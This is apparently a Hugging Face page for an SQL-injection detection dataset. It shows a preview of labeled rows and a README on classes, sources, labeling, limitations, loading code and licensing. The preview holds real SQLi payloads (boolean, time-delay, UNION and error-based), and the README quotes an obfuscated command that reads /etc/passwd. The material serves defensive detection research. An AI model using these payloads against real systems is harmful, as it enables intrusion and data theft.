/blog/wp-includes/js/media-models.min.js"?ver=4.9.5
0
3
boolean_blind
d7_srbh2020
train
95
/blog/wp-content/uploads" AND "1"="1/2020/04/27f17687-adda-3ce6-9767-0037ea74eec2.png
/blog/wp-content/uploads" and "1"="1/2020/04/27f17687-adda-3ce6-9767-0037ea74eec2.png
0
3
boolean_blind
d7_srbh2020
train
96
/blog/index.php/2020/04/04/nihil-tenetur-et-ad-in-dolores/embed" or 0 in (select sleep(15) ) --
/blog/index.php/2020/04/04/nihil-tenetur-et-ad-in-dolores/embed" or 0 in (select sleep(15) ) --
1
4
time_blind
d7_srbh2020
train
97
SELECT * FROM search WHERE command BETWEEN 10 AND 20
select * from search where command between 10 and 20
0
0
normal
d1_sqliv3
train
98
/blog/index.php/2020%' UNION ALL SELECT NULL#/03/23/fuga-aut-recusandae-sed-dolor-quia
/blog/index.php/2020%' union all select null#/03/23/fuga-aut-recusandae-sed-dolor-quia
0
1
union_based
d7_srbh2020
train
99
1 procedure analyse ( extractvalue ( 5840,concat ( 0x5c,0x7171706a71, ( select ( case when ( 5840 = 5840 ) then 1 else 0 end ) ) ,0x717a767a71 ) ) ,1 ) -- dtha
1 procedure analyse ( extractvalue ( 5840,concat ( '\','qqpjq', ( select ( case when ( 5840 = 5840 ) then 1 else 0 end ) ) ,'qzvzq' ) ) ,1 ) -- dtha
1
2
error_based
d1_sqliv3
train
End of preview.

VNU SQLi Detection Dataset

Data for a 3-branch AI-based SQL Injection detection system, combining 3+ public sources plus a small synthetic supplement:

  • nhanh1_train.csv — multi-class labels for Branch 1 (supervised classifier). Labels go beyond binary normal/attack: each attack row is further tagged with its SQLi sub-technique.
  • nhanh2_normal.csv + nhanh2_anomalous_eval.csv — benign-only pool (+ a held-out anomalous eval set) for Branch 2 (One-Class anomaly detection), using structural/statistical features instead of TF-IDF.

Labels (Branch 1 only — nhanh1_train.csv)

ID Name Meaning
0 normal Benign query / request
1 union_based UNION SELECT-style data exfiltration
2 error_based Forces a DB error to leak data (extractvalue, updatexml, ...)
3 boolean_blind True/false conditional inference (OR 1=1, ...) — also the catch-all bucket for attack rows that don't match a more specific rule (see Limitations)
4 time_blind Response-delay inference (SLEEP(), WAITFOR DELAY, ...)

stacked (id 5, ; DROP TABLE ...) was REMOVED (16/7). It was 100% synthetic (363 templated payloads, no real source had a single example) and scored 100% recall across all 4 architectures compared — a sign the synthetic data was trivially separable, not a real quality signal. Disabled via branch1_supervised.balance.exclude_labels in configs/config.yaml until real stacked-query examples are available (e.g. from Docker-lab/sqlmap traffic). The generator (src/preprocessing/synthetic_stacked.py) is kept in the codebase for that future use.

Dataset Structure

This repository has 3 files, one for Branch 1 (supervised multiclass) and two for Branch 2 (anomaly detection, benign-only + a held-out eval set).

nhanh1_train.csv (Branch 1 — supervised multiclass)

Columns:

  • id (int): row index
  • query_raw (string): original text before canonicalization
  • query_canonical (string): after URL/hex/CHAR() decoding, comment-marker detection, lowercasing
  • has_comment_marker (0/1): whether a /* */ or -- comment was present in the original text
  • label (int 0-4): class id, see table above
  • label_name (string): human-readable class name
  • source (string): originating dataset (see below)
  • split (train/test): stratified split, test_size=0.2, random_state=42

Size: 67,796 rows — 54,236 train / 13,560 test.

Class balance: normal, union_based, boolean_blind, time_blind capped at 15,000 rows each (undersampled from a larger pool); error_based kept in full at 7,796 (smaller than the cap).

nhanh2_normal.csv / nhanh2_anomalous_eval.csv (Branch 2 — anomaly detection)

Branch 2 trains on 100% benign data (One-Class SVM / Isolation Forest) and does not use TF-IDF — it uses 4 structural/statistical features so it can generalize to attack syntax it has never seen:

  • length (int): character length
  • special_char_ratio (float): fraction of '";#-=<>()*|% characters
  • sql_keyword_count (int): count of SQL keywords (select/union/sleep/...)
  • entropy (float): Shannon entropy in bits/char

Plus query_raw, query_canonical, has_comment_marker, source, and (for nhanh2_normal.csv) split (train/test, test_size=0.2, seed=42).

  • nhanh2_normal.csv: 91,935 rows (73,548 train / 18,387 test), the full benign pool from D1 + D3 (CSIC 2010) + D7 (SR-BH 2020), after the same content-based attack-signature filter used for Branch 1's normal class, deduplicated. Not capped — unlike Branch 1, more clean benign data only helps Branch 2 estimate the "safe zone" boundary.
  • nhanh2_anomalous_eval.csv: 25,065 rows, D3's anomalous split, held out for evaluating false-positive rate / detection rate (not used for training). ⚠️ Covers multiple attack types (buffer overflow, XSS, path traversal, etc.), not just SQLi — its mean sql_keyword_count is actually lower than the benign pool's, so don't assume it isolates SQLi-detection performance specifically; see Limitations.

Source Datasets

Source tag Origin Notes
d1_sqliv3 SQLiV3 (~30.9K rows, binary-labeled), originally distributed via Kaggle Accessed via a public GitHub mirror (nidnogg/sqliv5-dataset)
d4_payloadbox payload-box/sql-injection-payload-list Small curated payload list, DBMS-specific files
d7_srbh2020 / d7_srbh2020_normal SR-BH 2020 — a real honeypot capture (12 days, 2020) with multi-label CAPEC attack-type annotations, hosted on Harvard Dataverse See the Dataverse page for the canonical citation. _normal suffix = rows the source labeled Normal=1, sampled (Nhanh 1) or fully used (Nhanh 2) and content-filtered (see below)
d3_csic2010 CSIC 2010 HTTP dataset — a widely-used synthetic e-commerce traffic capture, hosted on the GSI/UdelaR GitLab mirror Used only in Branch 2 files (nhanh2_normal.csv / nhanh2_anomalous_eval.csv); URL + POST body extracted from the raw HTTP request blocks

synthetic_stacked (template-generated stacked-class payloads) was a source used until 16/7 — see the note under Labels above for why it was removed. The generator remains in the codebase (src/preprocessing/synthetic_stacked.py) for future re-use once real examples are available.

How the Labels Were Assigned

  1. Canonicalize raw text: iteratively URL-decode, decode hex literals (0x...) and CHAR(...) calls, lowercase, flag (not strip) SQL comments.
  2. Tag with a fixed-priority rule-based tagger: stacked > time_blind > error_based > union_based > boolean_blind (first regex match wins; unmatched attack rows fall back to boolean_blind). The stacked branch of this priority order is currently dead code in practice since that class is excluded from the shipped dataset (see Labels).
  3. Content-filter the normal candidate pool: rows a source dataset called "normal"/benign were still rejected if their canonicalized text matched a known SQLi or OS-command-injection/SSI signature, independent of the source's own label (see Limitations — this filter is not exhaustive).
  4. Balance: undersample large classes to a fixed per-class cap; keep smaller classes in full.
  5. Split: stratified train/test, fixed seed.

Limitations (please read before using for anything beyond an MVP baseline)

  • boolean_blind is a catch-all bucket for attack rows that don't match a more specific rule, not a purely precise label. A manual 30-sample review measured ~13% (4/30) of boolean_blind rows as clearly mislabeled by the upstream source (SSRF probes, CRLF/header injection, and even one fully benign form submission that the source dataset had flagged as SQL Injection). Treat this class's precision as noisier than the other 4 attack classes.
  • The content-based normal filter is not evasion-proof. It catches literal attack signatures (SQL keywords, cat/whoami-style OS commands, Shellshock, SSI injection) but a manually-obfuscated variant (e.g. cat$jj $jj/etc$jj/passwd — junk tokens inserted to dodge keyword matching) was found to still slip through during review. Do not assume the normal class is adversarially clean.
  • Out-of-scope attack types may still appear in normal. The filter targets SQLi and OS-command/SSI injection specifically; the source honeypot dataset (D7) covers 12 broader attack categories (e.g. XSS, SSRF). Rows matching those other categories were not specifically filtered out and may still be present in the normal pool.
  • Multi-label source, single-label output. D7 (SR-BH 2020) is a multi-label dataset (a request can trigger several attack-category flags at once); this dataset was built by filtering on a single flag (SQL Injection==1 for attacks, Normal==1 for the benign candidate pool) and did not otherwise deduplicate against other simultaneously-set flags (a lightweight cross-check found ~0.9% overlap, mostly co-occurring with a "Scanning for Vulnerable Software" flag).

How to Use

This repo has 3 CSVs with different schemas (Branch 1 vs Branch 2) and no loading script, so load each file explicitly rather than load_dataset(repo_id) directly (which would try to treat all CSVs as one dataset):

from datasets import load_dataset

nhanh1 = load_dataset("Jason-42195/VNU-SQLi-Detection", data_files="nhanh1_train.csv")["train"]
print(nhanh1[0])
# {'id': 0, 'query_raw': "...", 'query_canonical': "...",
#  'has_comment_marker': 0, 'label': 3, 'label_name': 'boolean_blind',
#  'source': 'd7_srbh2020', 'split': 'train'}

nhanh2_normal = load_dataset("Jason-42195/VNU-SQLi-Detection", data_files="nhanh2_normal.csv")["train"]
nhanh2_eval = load_dataset("Jason-42195/VNU-SQLi-Detection", data_files="nhanh2_anomalous_eval.csv")["train"]

Or with pandas, filtering the split column yourself:

import pandas as pd

df = pd.read_csv("nhanh1_train.csv")  # or nhanh2_normal.csv
train_df = df[df["split"] == "train"]
test_df = df[df["split"] == "test"]

Branch 1 metric: F1-macro (not accuracy) — the original per-source class sizes were extremely imbalanced before undersampling (error_based is still notably smaller than the other 4 classes even after balancing). Branch 2 metric: false-positive rate on nhanh2_normal.csv's test split + detection rate on nhanh2_anomalous_eval.csv (keep in mind the eval set spans multiple attack types, not just SQLi — see note above).

License

Mixed — verified per source:

  • D4 (payload-box): MIT, confirmed directly on the source repository.
  • D7 (SR-BH 2020): CC0 1.0 (public domain dedication), confirmed directly on the Harvard Dataverse record.
  • D1 (SQLiV3): unclear. The original Kaggle listing has no license attached (empty license metadata). It was accessed here via a third-party GitHub mirror (nidnogg/sqliv5-dataset) that applies its own MIT license to its repository — that MIT grant covers the mirror's own repo contents, not necessarily the original author's rights over the underlying data, since the mirror maintainer is not the original creator. Treat D1-derived rows as provenance-unclear until the original author's terms are confirmed.
  • Synthetic rows: generated for this project, no external license constraint.

Given D1 is one of several sources merged into this dataset (not isolated to its own file), the dataset as a whole should be treated as provenance-unclear rather than cleanly MIT/CC0, until D1's status is resolved.

Citation

If you use this dataset, please also cite the original upstream sources listed above (SQLiV3, payload-box, SR-BH 2020) in addition to this derived release.

Downloads last month
12